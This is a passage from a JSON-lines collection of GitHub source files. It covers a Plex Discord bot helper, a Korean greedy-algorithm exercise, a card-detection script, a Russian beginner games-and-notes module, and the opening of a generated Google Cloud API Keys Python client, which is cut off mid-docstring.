item in client.items:\n runtime = (item.duration - item.viewOffset)\n time_delta = timedelta(milliseconds=runtime)\n response += f\"{item.title} ({item.year}) **[{play_time.strftime('%b %d | %I:%M %p %Z')}]**\\n\"\n play_time = play_time + time_delta\n return response\n\n\ndef append_search(results):\n response = \"**SEARCH RESULTS**\"\n response += \"\\n--------------------\\n\"\n response += \"*(use /play command with Media ID to play item)*\\n\"\n response += \"*(use /add command with Media ID to queue item next)*\"\n response += \"\\n--------------------\\n\"\n for result in results:\n if result.type == \"collection\":\n continue\n response += f\"{result.title} ({result.year}) **[media_id: {result.ratingKey}]**\\n\"\n return response\n","repo_name":"jacobfholland/plex-discord-bot","sub_path":"addons/discord_bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70945423932","text":"# 풀이 시간: 약 20 분 소요\n# 알고리즘 설계 시간 보다는 파이썬 문법에 익숙하지 않아서 오래 걸렸다. 파이썬 사용에 익숙해져야겠다.\n\nn, m, k = map(int, input().split(\" \"))\nnum = list(map(int, input().split(\" \")))\nmax_num = max(num) # O(N)\nnum.remove(max_num) # O(N)\nsec_max_num = max(num) # O(N)\n\n\n# 전체 복잡도: O(N + i)\ndef big_num(m, k):\n\n i = 0\n sum_num = 0\n while True: # O(i)\n j = 0\n while j != k and i != m:\n sum_num += max_num\n j += 1\n i += 1\n if i == m:\n break\n sum_num += sec_max_num\n i += 1\n\n print(sum_num)\n\n\n# 개선된 코드\n# 복잡도 O(N)\ndef improved_big_num(m, k):\n sum_num = int(m/(k+1) * (max_num*k + sec_max_num) + max_num*(m % (k+1)))\n print(sum_num)\n # 8번 더하기 중복 3번\n # m/(k+1) * (max*k + sec) + max*(m%(k+1))\n\n\nbig_num(m, k)\nimproved_big_num(m, k)\n","repo_name":"jeonjw95/coding-test-python","sub_path":"greedy/bigNumber.py","file_name":"bigNumber.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21473989601","text":"import argparse\nfrom detect_card import detect_card\n\ndef main():\n\tparser = argparse.ArgumentParser(description='Card Detection')\n\tparser.add_argument('--image', help='image path')\n\tparser.add_argument('--directory', help='directory path')\n\targs = parser.parse_args()\n\t\n\tcard_obj=detect_card(Image_Path=args.image,\n\t\t Directory_Path=args.directory)\n\tcard_obj.get_cards()\n\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"saurabhbagdiya/verificient_assignment","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32137467015","text":"import random\r\nimport time\r\nimport main\r\nimport keyboard\r\n\r\n\r\ndef math_test():\r\n for i in range(5):\r\n first_number = random.randint(1, 10)\r\n second_number = random.randint(1, 10)\r\n sing_number = random.randint(0, 3)\r\n\r\n if sing_number == 0:\r\n result = first_number * second_number\r\n player_result = int(input(f'{first_number} * {second_number} '))\r\n\r\n if sing_number == 1:\r\n result = first_number / second_number\r\n player_result = int(input(f'{first_number} / {second_number} '))\r\n\r\n if sing_number == 2:\r\n result = first_number + second_number\r\n player_result = int(input(f'{first_number} + {second_number} '))\r\n\r\n if sing_number == 3:\r\n result = first_number - second_number\r\n player_result = int(input(f'{first_number} - {second_number} '))\r\n\r\n if result == player_result:\r\n print('Правильно!')\r\n else:\r\n print('Неправильно!')\r\n time.sleep(1)\r\n print('1. Играть еще')\r\n print('2. Выйти')\r\n\r\n if int(input()) == 1:\r\n math_test()\r\n else:\r\n main.game_choice()\r\n\r\n\r\nif __name__ == '__main__':\r\n math_test()\r\n\r\n\r\nheroes = []\r\n\r\n\r\ndef picker():\r\n print('===КОМАНДЫ===') \r\n print('1. ДОБАВИТЬ ГЕРОЯ')\r\n print('2. Выбрать')\r\n print('3. Выйти')\r\n print('4. Удалить все')\r\n time.sleep(1)\r\n command = int(input())\r\n if command == 1:\r\n ap_heroes = input('Напиши героя, чтобы добавить в список \\n')\r\n heroes.append(ap_heroes)\r\n picker()\r\n if command == 2:\r\n try:\r\n pik_rand = random.randint(0, len(heroes) - 1)\r\n print(heroes)\r\n print(heroes[pik_rand])\r\n picker()\r\n except ValueError:\r\n print('В списке нет героев')\r\n picker()\r\n if command == 3:\r\n main.game_choice()\r\n if command == 4:\r\n heroes.clear()\r\n picker()\r\n if __name__ == '__main__':\r\n picker()\r\n\r\n\r\ndef letter_pick():\r\n letters = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g',\r\n 'h', 'i', 'j', 'k', 'l', 'm',\r\n 'n', 'o', 'p', 'q', 'r', 's', 't',\r\n 'u', 'v', 'w', 'x', 'y', 'z']\r\n correct_letter = 0\r\n for i in range(1, 10):\r\n a = random.randint(1, 26)\r\n time.sleep(1)\r\n print(letters[a])\r\n if keyboard.read_key() == letters[a]:\r\n print('Правильно!')\r\n correct_letter = int(correct_letter + 1)\r\n else:\r\n print('Неправильно!')\r\n print(f'У вас {correct_letter} правильных нажатий')\r\n print('1. Играть еще')\r\n print('2. Выйти')\r\n if int(input()) == 1:\r\n letter_pick()\r\n else:\r\n main.game_choice()\r\n\r\n\r\nif __name__ == '__main__':\r\n letter_pick()\r\n\r\n\r\ndef notes():\r\n print('===КОМАНДЫ===')\r\n print('1. Добавить заметку')\r\n print('2. Удалить заметки')\r\n print('3. Прочесть все заметки')\r\n print('4. ESC')\r\n command = int(input())\r\n if command == 1:\r\n f = open('Notes.txt', 'a')\r\n f.write(input('Что напишем? '))\r\n f.close()\r\n notes()\r\n\r\n if command == 2:\r\n f = open('Notes.txt', 'w')\r\n f.close()\r\n notes()\r\n if command == 3:\r\n f = open('Notes.txt', 'r')\r\n print(f.read())\r\n f.close()\r\n notes()\r\n if command == 3:\r\n main.game_choice()","repo_name":"SergeyDff/Text-assistant","sub_path":"dff/games.py","file_name":"games.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71493789693","text":"from collections import OrderedDict\nimport os\nimport re\nfrom typing import (\n Dict,\n Mapping,\n MutableMapping,\n MutableSequence,\n Optional,\n Sequence,\n Tuple,\n Type,\n Union,\n cast,\n)\n\nfrom google.api_core import client_options as client_options_lib\nfrom google.api_core import exceptions as core_exceptions\nfrom google.api_core import gapic_v1\nfrom google.api_core import retry as retries\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.auth.exceptions import MutualTLSChannelError # type: ignore\nfrom google.auth.transport import mtls # type: ignore\nfrom google.auth.transport.grpc import SslCredentials # type: ignore\nfrom google.oauth2 import service_account # type: ignore\n\nfrom google.cloud.api_keys_v2 import gapic_version as package_version\n\ntry:\n OptionalRetry = Union[retries.Retry, gapic_v1.method._MethodDefault]\nexcept AttributeError: # pragma: NO COVER\n OptionalRetry = Union[retries.Retry, object] # type: ignore\n\nfrom google.api_core import operation # type: ignore\nfrom google.api_core import operation_async # type: ignore\nfrom google.longrunning import operations_pb2 # type: ignore\nfrom google.protobuf import empty_pb2 # type: ignore\nfrom google.protobuf import field_mask_pb2 # type: ignore\nfrom google.protobuf import timestamp_pb2 # type: ignore\n\nfrom google.cloud.api_keys_v2.services.api_keys import pagers\nfrom google.cloud.api_keys_v2.types import apikeys, resources\n\nfrom .transports.base import DEFAULT_CLIENT_INFO, ApiKeysTransport\nfrom .transports.grpc import ApiKeysGrpcTransport\nfrom .transports.grpc_asyncio import ApiKeysGrpcAsyncIOTransport\nfrom .transports.rest import ApiKeysRestTransport\n\n\nclass ApiKeysClientMeta(type):\n \"\"\"Metaclass for the ApiKeys client.\n\n This provides class-level methods for building and retrieving\n support objects (e.g. transport) without polluting the client instance\n objects.\n \"\"\"\n\n _transport_registry = OrderedDict() # type: Dict[str, Type[ApiKeysTransport]]\n _transport_registry[\"grpc\"] = ApiKeysGrpcTransport\n _transport_registry[\"grpc_asyncio\"] = ApiKeysGrpcAsyncIOTransport\n _transport_registry[\"rest\"] = ApiKeysRestTransport\n\n def get_transport_class(\n cls,\n label: Optional[str] = None,\n ) -> Type[ApiKeysTransport]:\n \"\"\"Returns an appropriate transport class.\n\n Args:\n label: The name of the desired transport. If none is\n provided, then the first transport in the registry is used.\n\n Returns:\n The transport class to use.\n \"\"\"\n # If a specific transport is requested, return that one.\n if label:\n return cls._transport_registry[label]\n\n # No transport is requested; return the default (that is, the first one\n # in the dictionary).\n return next(iter(cls._transport_registry.values()))\n\n\nclass ApiKeysClient(metaclass=ApiKeysClientMeta):\n \"\"\"Manages the API keys associated with projects.\"\"\"\n\n @staticmethod\n def _get_default_mtls_endpoint(api_endpoint):\n \"\"\"Converts api endpoint to mTLS endpoint.\n\n Convert \"*.sandbox.googleapis.com\" and \"*.googleapis.com\" to\n \"*.mtls.sandbox.googleapis.com\" and \"*.mtls.googleapis.com\" respectively.\n Args:\n api_endpoint (Optional[str]): the api endpoint to convert.\n Returns:\n str: converted mTLS api endpoint.\n \"\"\"\n if not api_endpoint:\n return api_endpoint\n\n mtls_endpoint_re = re.compile(\n r\"(?P<name>[^.]+)(?P<mtls>\\.mtls)?(?P<sandbox>\\.sandbox)?(?P<googledomain>\\.googleapis\\.com)?\"\n )\n\n m = mtls_endpoint_re.match(api_endpoint)\n name, mtls, sandbox, googledomain = m.groups()\n if mtls or not googledomain:\n return api_endpoint\n\n if sandbox:\n return api_endpoint.replace(\n \"sandbox.googleapis.com\", \"mtls.sandbox.googleapis.com\"\n )\n\n return api_endpoint.replace(\".googleapis.com\", \".mtls.googleapis.com\")\n\n DEFAULT_ENDPOINT = \"apikeys.googleapis.com\"\n DEFAULT_MTLS_ENDPOINT = _get_default_mtls_endpoint.__func__( # type: ignore\n DEFAULT_ENDPOINT\n )\n\n @classmethod\n def from_service_account_info(cls, info: dict, *args, **kwargs):\n \"\"\"Creates an instance of this client using the provided credentials\n info.\n\n Args:\n info (dict): The service account private key info.\n args: Additional arguments to pass to the constructor.\n kwargs: Additional arguments to pass to the constructor.\n\n Returns:\n ApiKeysClient: The constructed client.\n \"\"\"\n credentials = service_account.Credentials.from_service_account_info(info)\n kwargs[\"credentials\"] = credentials\n return cls(*args, **kwargs)\n\n @classmethod\n def from_service_account_file(cls, filename: str, *args, **kwargs):\n \"\"\"Creates an instance of this client using the provided credentials\n file.\n\n Args:\n filename (str): The path to the service account private key json\n file.\n args: Additional arguments to pass to the constructor.\n kwargs: Additional arguments to pass to the constructor.\n\n Returns:\n ApiKeysClient: The constructed client.\n \"\"\"\n credentials = service_account.Credentials.from_service_account_file(filename)\n kwargs[\"credentials\"] = credentials\n return cls(*args, **kwargs)\n\n from_service_account_json = from_service_account_file\n\n @property\n def transport(self) -> ApiKeysTransport:\n \"\"\"Returns the transport used by the client instance.\n\n Returns:\n ApiKeysTransport: The transport used by the client\n instance.\n \"\"\"\n return self._transport\n\n @staticmethod\n def key_path(\n project: str,\n location: str,\n key: str,\n ) -> str:\n \"\"\"Returns a fully-qualified key string.\"\"\"\n return \"projects/{project}/locations/{location}/keys/{key}\".format(\n project=project,\n location=location,\n key=key,\n )\n\n @staticmethod\n def parse_key_path(path: str) -> Dict[str, str]:\n \"\"\"Parses a key path into its component segments.\"\"\"\n m = re.match(\n r\"^projects/(?P<project>.+?)/locations/(?P<location>.+?)/keys/(?P<key>.+?)$\",\n path,\n )\n return m.groupdict() if m else {}\n\n @staticmethod\n def common_billing_account_path(\n billing_account: str,\n ) -> str:\n \"\"\"Returns a fully-qualified billing_account string.\"\"\"\n return \"billingAccounts/{billing_account}\".format(\n billing_account=billing_account,\n )\n\n @staticmethod\n def parse_common_billing_account_path(path: str) -> Dict[str, str]:\n \"\"\"Parse a billing_account path into its component segments.\"\"\"\n m = re.match(r\"^billingAccounts/(?P<billing_account>.+?)$\", path)\n return m.groupdict() if m else {}\n\n @staticmethod\n def common_folder_path(\n folder: str,\n ) -> str:\n \"\"\"Returns a fully-qualified folder string.\"\"\"\n return \"folders/{folder}\".format(\n folder=folder,\n )\n\n @staticmethod\n def parse_common_folder_path(path: str) -> Dict[str, str]:\n \"\"\"Parse a folder path into its component segments.\"\"\"\n m = re.match(r\"^folders/(?P<folder>.+?)$\", path)\n return m.groupdict() if m else {}\n\n @staticmethod\n def common_organization_path(\n organization: str,\n ) -> str:\n \"\"\"Returns a fully-qualified organization string.\"\"\"\n return \"organizations/{organization}\".format(\n organization=organization,\n )\n\n @staticmethod\n def parse_common_organization_path(path: str) -> Dict[str, str]:\n \"\"\"Parse a organization path into its component segments.\"\"\"\n m = re.match(r\"^organizations/(?P<organization>.+?)$\", path)\n return m.groupdict() if m else {}\n\n @staticmethod\n def common_project_path(\n project: str,\n ) -> str:\n \"\"\"Returns a fully-qualified project string.\"\"\"\n return \"projects/{project}\".format(\n project=project,\n )\n\n @staticmethod\n def parse_common_project_path(path: str) -> Dict[str, str]:\n \"\"\"Parse a project path into its component segments.\"\"\"\n m = re.match(r\"^projects/(?P<project>.+?)$\", path)\n return m.groupdict() if m else {}\n\n @staticmethod\n def common_location_path(\n project: str,\n location: str,\n ) -> str:\n \"\"\"Returns a fully-qualified location string.\"\"\"\n return \"projects/{project}/locations/{location}\".format(\n project=project,\n location=location,\n )\n\n @staticmethod\n def parse_common_location_path(path: str) -> Dict[str, str]:\n \"\"\"Parse a location path into its component segments.\"\"\"\n m = re.match(r\"^projects/(?P<project>.+?)/locations/(?P<location>.+?)$\", path)\n return m.groupdict() if m else {}\n\n @classmethod\n def get_mtls_endpoint_and_cert_source(\n cls, client_options: Optional[client_options_lib.ClientOptions] = None\n ):\n \"\"\"Return the API endpoint and client cert source for mutual TLS.\n\n The client cert source is determined in the following order:\n (1) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is not \"true\", the\n client cert source is None.\n (2) if `client_options.client_cert_source` is provided, use the provided one; if the\n default client cert source exists, use the default one; otherwise the client cert\n source is None.\n\n The API endpoint is determined in the following order:\n (1) if `client_options.api_endpoint` if provided, use the provided one.\n (2) if `GOOGLE_API_USE_CLIENT_CERTIFICATE` environment variable is \"always\", use the\n default mTLS endpoint; if the environment variable is \"never\", use the default API\n endpoint; otherwise if client cert source exists, use the default mTLS endpoint, otherwise\n use the default API endpoint.\n\n More details can be found at https://google.aip.dev/auth/4114.\n\n Args:\n client_options (google.api_core.client_options.ClientOptions): Custom options for the\n client. Only the `api_endpoint` and `client_cert_source` properties may be used\n in this method.\n\n Returns:\n Tuple[str, Callable[[], Tuple[bytes, bytes]]]: returns the API endpoint and the\n client cert source to use.\n\n Raises:\n google.auth.exceptions.MutualTLSChannelError: If any errors happen.\n \"\"\"\n if client_options is None:\n client_options = client_options_lib.ClientOptions()\n use_client_cert = os.getenv(\"GOOGLE_API_USE_CLIENT_CERTIFICATE\", \"false\")\n use_mtls_endpoint = os.getenv(\"GOOGLE_API_USE_MTLS_ENDPOINT\", \"auto\")\n if use_client_cert not in (\"true\", \"false\"):\n raise ValueError(\n \"Environment variable `GOOGLE_API_USE_CLIENT_CERTIFICATE` must be either `true` or `false`\"\n )\n if use_mtls_endpoint not in (\"auto\", \"never\", \"always\"):\n raise MutualTLSChannelError(\n \"Environment variable `GOOGLE_API_USE_MTLS_ENDPOINT` must be `never`, `auto` or `always`\"\n )\n\n # Figure out the client cert source to use.\n client_cert_source = None\n if use_client_cert == \"true\":\n if client_options.client_cert_source:\n client_cert_source = client_options.client_cert_source\n elif mtls.has_default_client_cert_source():\n client_cert_source = mtls.default_client_cert_source()\n\n # Figure out which api endpoint to use.\n if client_options.api_endpoint is not None:\n api_endpoint = client_options.api_endpoint\n elif use_mtls_endpoint == \"always\" or (\n use_mtls_endpoint == \"auto\" and client_cert_source\n ):\n api_endpoint = cls.DEFAULT_MTLS_ENDPOINT\n else:\n api_endpoint = cls.DEFAULT_ENDPOINT\n\n return api_endpoint, client_cert_source\n\n def __init__(\n self,\n *,\n credentials: Optional[ga_credentials.Credentials] = None,\n transport: Optional[Union[str, ApiKeysTransport]] = None,\n client_options: Optional[Union[client_options_lib.ClientOptions, dict]] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n ) -> None:\n \"\"\"Instantiates the api keys client.\n\n Args:\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n transport (Union[str, ApiKeysTransport]): The\n transport to use. If set to None, a transport is chosen\n automatically.\n client_options (Optional[Union[google.api_core.client_options.ClientOptions, dict]]): Custom options for the\n client. It won't take effect if a ``transport`` instance is provided.\n (1) The ``api_endpoint`` property can be used to override the\n default endpoint provided by the client. GOOGLE_API_USE_MTLS_ENDPOINT\n environment variable can also be used to override the endpoint:\n \"always\" (always use the default mTLS endpoint), \"never\" (always\n use the default regular endpoint) and \"auto\" (auto switch to the\n default mTLS endpoint if client certificate is present, this is\n the default value). However, the ``api_endpoint`` property takes\n precedence if provided.\n (2) If GOOGLE_API_USE_CLIENT_CERTIFICATE environment variable\n is \"true\", then the ``client_cert_source`` property can be used\n to provide client certificate for mutual TLS transport. If\n not provided, the default SSL client certificate will be used if\n present. If GOOGLE_API_USE_CLIENT_CERTIFICATE is \"false\" or not\n set, no client certificate will be used.\n client_info (google.api_core.gapic_v1.client_info.ClientInfo):\n The client info used to send a user-agent string along with\n API requests. If ``None``, then default info will be used.\n Generally, you only need to set this if you're developing\n your own client library.\n\n Raises:\n google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport\n creation failed for any reason.\n \"\"\"\n if isinstance(client_options, dict):\n client_options = client_options_lib.from_dict(client_options)\n if client_options is None:\n client_options = client_options_lib.ClientOptions()\n client_options = cast(client_options_lib.ClientOptions, client_options)\n\n api_endpoint, client_cert_source_func = self.get_mtls_endpoint_and_cert_source(\n client_options\n )\n\n api_key_value = getattr(client_options, \"api_key\", None)\n if api_key_value and credentials:\n raise ValueError(\n \"client_options.api_key and credentials are mutually exclusive\"\n )\n\n # Save or instantiate the transport.\n # Ordinarily, we provide the transport, but allowing a custom transport\n # instance provides an extensibility point for unusual situations.\n if isinstance(transport, ApiKeysTransport):\n # transport is a ApiKeysTransport instance.\n if credentials or client_options.credentials_file or api_key_value:\n raise ValueError(\n \"When providing a transport instance, \"\n \"provide its credentials directly.\"\n )\n if client_options.scopes:\n raise ValueError(\n \"When providing a transport instance, provide its scopes \"\n \"directly.\"\n )\n self._transport = transport\n else:\n import google.auth._default # type: ignore\n\n if api_key_value and hasattr(\n google.auth._default, \"get_api_key_credentials\"\n ):\n credentials = google.auth._default.get_api_key_credentials(\n api_key_value\n )\n\n Transport = type(self).get_transport_class(transport)\n self._transport = Transport(\n credentials=credentials,\n credentials_file=client_options.credentials_file,\n host=api_endpoint,\n scopes=client_options.scopes,\n client_cert_source_for_mtls=client_cert_source_func,\n quota_project_id=client_options.quota_project_id,\n client_info=client_info,\n always_use_jwt_access=True,\n api_audience=client_options.api_audience,\n )\n\n def create_key(\n self,\n request: Optional[Union[apikeys.CreateKeyRequest, dict]] = None,\n *,\n parent: Optional[str] = None,\n key: Optional[resources.Key] = None,\n key_id: Optional[str] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> operation.Operation:\n r\"\"\"Creates a new API key.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_create_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.CreateKeyRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n operation = client.create_key(request=request)\n\n print(\"Waiting for operation to complete...\")\n\n response = operation.result()\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.CreateKeyRequest, dict]):\n The request object. Request message for ``CreateKey`` method.\n parent (str):\n Required. The project in which the\n API key is created.\n\n This corresponds to the ``parent`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n key (google.cloud.api_keys_v2.types.Key):\n Required. The API key fields to set at creation time.\n You can configure only the ``display_name``,\n ``restrictions``, and ``annotations`` fields.\n\n This corresponds to the ``key`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n key_id (str):\n User specified key id (optional). If specified, it will\n become the final component of the key resource name.\n\n The id must be unique within the project, must conform\n with RFC-1034, is restricted to lower-cased letters, and\n has a maximum length of 63 characters. In another word,\n the id must match the regular expression:\n ``[a-z]([a-z0-9-]{0,61}[a-z0-9])?``.\n\n The id must NOT be a UUID-like string.\n\n This corresponds to the ``key_id`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.api_core.operation.Operation:\n An object representing a long-running operation.\n\n The result type for the operation will be\n :class:`google.cloud.api_keys_v2.types.Key` The\n representation of a key managed by the API Keys API.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([parent, key, key_id])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.CreateKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.CreateKeyRequest):\n request = apikeys.CreateKeyRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if parent is not None:\n request.parent = parent\n if key is not None:\n request.key = key\n if key_id is not None:\n request.key_id = key_id\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.create_key]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Wrap the response in an operation future.\n response = operation.from_gapic(\n response,\n self._transport.operations_client,\n resources.Key,\n metadata_type=empty_pb2.Empty,\n )\n\n # Done; return the response.\n return response\n\n def list_keys(\n self,\n request: Optional[Union[apikeys.ListKeysRequest, dict]] = None,\n *,\n parent: Optional[str] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> pagers.ListKeysPager:\n r\"\"\"Lists the API keys owned by a project. The key string of the API\n key isn't included in the response.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_list_keys():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.ListKeysRequest(\n parent=\"parent_value\",\n )\n\n # Make the request\n page_result = client.list_keys(request=request)\n\n # Handle the response\n for response in page_result:\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.ListKeysRequest, dict]):\n The request object. Request message for ``ListKeys`` method.\n parent (str):\n Required. Lists all API keys\n associated with this project.\n\n This corresponds to the ``parent`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.api_keys_v2.services.api_keys.pagers.ListKeysPager:\n Response message for ListKeys method.\n\n Iterating over this object will yield results and\n resolve additional pages automatically.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([parent])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.ListKeysRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.ListKeysRequest):\n request = apikeys.ListKeysRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if parent is not None:\n request.parent = parent\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.list_keys]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"parent\", request.parent),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # This method is paged; wrap the response in a pager, which provides\n # an `__iter__` convenience method.\n response = pagers.ListKeysPager(\n method=rpc,\n request=request,\n response=response,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n def get_key(\n self,\n request: Optional[Union[apikeys.GetKeyRequest, dict]] = None,\n *,\n name: Optional[str] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> resources.Key:\n r\"\"\"Gets the metadata for an API key. The key string of the API key\n isn't included in the response.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_get_key():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.GetKeyRequest(\n name=\"name_value\",\n )\n\n # Make the request\n response = client.get_key(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.GetKeyRequest, dict]):\n The request object. Request message for ``GetKey`` method.\n name (str):\n Required. The resource name of the\n API key to get.\n\n This corresponds to the ``name`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata (Sequence[Tuple[str, str]]): Strings which should be\n sent along with the request as metadata.\n\n Returns:\n google.cloud.api_keys_v2.types.Key:\n The representation of a key managed\n by the API Keys API.\n\n \"\"\"\n # Create or coerce a protobuf request object.\n # Quick check: If we got a request object, we should *not* have\n # gotten any keyword arguments that map to the request.\n has_flattened_params = any([name])\n if request is not None and has_flattened_params:\n raise ValueError(\n \"If the `request` argument is set, then none of \"\n \"the individual field arguments should be set.\"\n )\n\n # Minor optimization to avoid making a copy if the user passes\n # in a apikeys.GetKeyRequest.\n # There's no risk of modifying the input as we've already verified\n # there are no flattened fields.\n if not isinstance(request, apikeys.GetKeyRequest):\n request = apikeys.GetKeyRequest(request)\n # If we have keyword arguments corresponding to fields on the\n # request, apply these.\n if name is not None:\n request.name = name\n\n # Wrap the RPC method; this adds retry and timeout information,\n # and friendly error handling.\n rpc = self._transport._wrapped_methods[self._transport.get_key]\n\n # Certain fields should be provided within the metadata header;\n # add these here.\n metadata = tuple(metadata) + (\n gapic_v1.routing_header.to_grpc_metadata(((\"name\", request.name),)),\n )\n\n # Send the request.\n response = rpc(\n request,\n retry=retry,\n timeout=timeout,\n metadata=metadata,\n )\n\n # Done; return the response.\n return response\n\n def get_key_string(\n self,\n request: Optional[Union[apikeys.GetKeyStringRequest, dict]] = None,\n *,\n name: Optional[str] = None,\n retry: OptionalRetry = gapic_v1.method.DEFAULT,\n timeout: Union[float, object] = gapic_v1.method.DEFAULT,\n metadata: Sequence[Tuple[str, str]] = (),\n ) -> apikeys.GetKeyStringResponse:\n r\"\"\"Get the key string for an API key.\n\n NOTE: Key is a global resource; hence the only supported value\n for location is ``global``.\n\n .. code-block:: python\n\n # This snippet has been automatically generated and should be regarded as a\n # code template only.\n # It will require modifications to work:\n # - It may require correct/in-range values for request initialization.\n # - It may require specifying regional endpoints when creating the service\n # client as shown in:\n # https://googleapis.dev/python/google-api-core/latest/client_options.html\n from google.cloud import api_keys_v2\n\n def sample_get_key_string():\n # Create a client\n client = api_keys_v2.ApiKeysClient()\n\n # Initialize request argument(s)\n request = api_keys_v2.GetKeyStringRequest(\n name=\"name_value\",\n )\n\n # Make the request\n response = client.get_key_string(request=request)\n\n # Handle the response\n print(response)\n\n Args:\n request (Union[google.cloud.api_keys_v2.types.GetKeyStringRequest, dict]):\n The request object. Request message for ``GetKeyString`` method.\n name (str):\n Required. The resource name of the\n API key to be retrieved.\n\n This corresponds to the ``name`` field\n on the ``request`` instance; if ``request`` is provided, this\n should not be set.\n retry (google.api_core.retry.Retry): Designation of what errors, if any,\n should be retried.\n timeout (float): The timeout for this request.\n metadata 